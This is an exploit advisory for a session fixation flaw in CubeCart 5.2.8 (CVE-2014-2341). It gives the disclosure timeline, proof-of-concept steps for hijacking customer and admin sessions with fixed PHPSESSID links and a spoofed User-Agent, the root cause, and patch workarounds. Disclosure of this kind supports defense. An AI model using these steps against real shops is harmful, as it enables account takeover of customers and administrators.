CubeCart 5.2.8 - Session Fixation

# Exploit Title:     CubeCart 5.2.8 Session Fixation

# Exploit Author:    James Sibley (absane)

# Blog:              http://www.pentester.co

# Download link:     http://www.cubecart.com/download/5.2.8/zip

# Discovery date:    March 14th, 2014

# Vendor notified:   March 15th, 2014

# Vendor fixed:      April 10th, 2014

# Vendor ack:        http://forums.cubecart.com/topic/48427-cubecart-529-relased/

# CVE assignment:    CVE-2014-2341



CubeCart 5.2.8 is vulnerable to a session fixation vulnerability.



The only protection offered is via the User-Agent header field, which can spoofed to match the victim.



=======================

=Proof of Concept.....=

=======================



*Set the User-Agent for both attacker and victim: 

Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)



*To attack a customer:

Victim visits: http://[CubeCart Site]/index.php?PHPSESSID=1337



*To attack an administrator:

Victim visits: http://[CubeCart Site]/admin.php?PHPSESSID=1337



When the victim logs in, the attacker can visit the same link (using the same User-Agent) and hijack the victim's session.



=======================

=Cause................=

=======================



The PHPSESSID parameter is not ignored and allows an attacker to specify their own session id.



The code handling login procedures do not generate new sessions upon successful authentication. 



=======================

=Mitigation...........=

=======================



Upgrade to CubeCart >= 5.2.9



If upgrading is not an option, here is a hackish workaround for the session fixation vulnerability:



In admin.class.php add this at line 324:

$GLOBALS['session']->restart();



In user.class.php add this at line 227:

$GLOBALS['session']->restart();